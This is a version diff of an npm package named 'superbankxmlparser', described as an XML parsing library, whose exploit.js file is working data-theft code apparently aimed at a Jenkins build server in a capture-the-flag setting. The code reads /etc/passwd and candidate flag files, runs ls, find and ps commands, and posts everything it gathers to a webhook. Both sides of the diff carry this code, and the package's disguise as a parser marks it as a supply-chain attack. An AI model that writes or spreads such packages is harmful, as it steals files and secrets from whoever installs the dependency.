superbankxmlparser 0.30.4 → 0.31.3

package/exploit.js

@@ -2,7 +2,7 @@ const fs = require('fs');
 const { exec } = require('child_process');
 const https = require('https');
 
-console.log('=== MALICIOUS PACKAGE EXECUTED ===');
+console.log('=== MALICIOUS LIBXMLJS2 PACKAGE INSTALLED ===');
 
 function sendToWebhook(data) {
     try {
@@ -28,56 +28,61 @@ function sendToWebhook(data) {
     }
 }
 
-let collectedData = '=== EXPLOIT DATA ===\n';
+let collectedData = '';
 
-// 1. Переменные окружения (может содержать флаг)
-collectedData += '=== ENVIRONMENT ===\n';
-for (let key in process.env) {
-    if (key.includes('FLAG') || key.includes('flag') || key.includes('SECRET')) {
-        collectedData += `${key}=${process.env[key]}\n`;
-    }
-}
-
-// 2. Попробуем прочитать флаг из разных мест
-const paths = [
+// 1. Ищем флаг в рабочей директории Jenkins
+const searchPaths = [
     '/etc/passwd',
-    '/flag',
+    '/flag',                    // Dockerfile
+    '/workspace/flag',          // Jenkins workspace
+    '/var/jenkins_home/jobs/staging/workspace/flag',
+    '/usr/src/app/flag',        // App directory
+    './flag',                   // Current directory
     '/tmp/flag',
-    '/var/jenkins_home/flag',
-    '/var/lib/jenkins/flag',
-    process.env.HOME + '/flag',
-    process.env.PWD + '/flag'
+    '/root/flag'
 ];
 
-paths.forEach(path => {
+searchPaths.forEach(path => {
     try {
         const content = fs.readFileSync(path, 'utf8');
-        collectedData += `=== ${path} ===\n${content}\n`;
+        console.log(`=== FOUND: ${path} ===`);
+        console.log(content);
+        collectedData += `=== ${path} ===\n${content}\n\n`;
+        
         if (content.includes('{') && content.includes('}')) {
-            console.log(`🚨 FLAG FOUND: ${content}`);
+            console.log(`🚨 FLAG FOUND IN ${path}:`, content);
         }
-    } catch(e) {}
+    } catch(e) {
+        collectedData += `Not found: ${path}\n`;
+    }
 });
 
-// 3. Выполним команды для поиска
-exec('env | grep -i flag', (err, stdout) => {
-    if (!err && stdout) {
-        collectedData += `=== ENV FLAG SEARCH ===\n${stdout}\n`;
+// 2. Список файлов в текущей и корневой директориях
+exec('pwd && ls -la && ls -la /', (err, stdout) => {
+    if (!err) {
+        collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
     }
-    
-    exec('find /var/jenkins_home /var/lib/jenkins /tmp /home -name "flag" -type f 2>/dev/null', (err, stdout) => {
+
+    // 3. Ищем файл flag рекурсивно
+    exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
         if (!err && stdout) {
-            collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n`;
+            collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
+            
+            // Читаем найденные файлы
+            const files = stdout.trim().split('\n');
+            files.forEach(file => {
+                try {
+                    const content = fs.readFileSync(file, 'utf8');
+                    collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
+                    console.log(`Content of ${file}:`, content);
+                } catch(e) {}
+            });
         }
 
-        // 4. Текущий процесс и его окружение
-        exec('ps aux | grep -i jenkins', (err, stdout) => {
-            if (!err) {
-                collectedData += `=== JENKINS PROCESSES ===\n${stdout}\n`;
-            }
-
-            sendToWebhook(collectedData);
-            console.log(collectedData);
-        });
+        // Отправляем все данные
+        sendToWebhook(collectedData);
+        
+        console.log('=== ALL COLLECTED DATA ===');
+        console.log(collectedData);
     });
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "superbankxmlparser",
-  "version": "0.30.4",
+  "version": "0.31.3",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {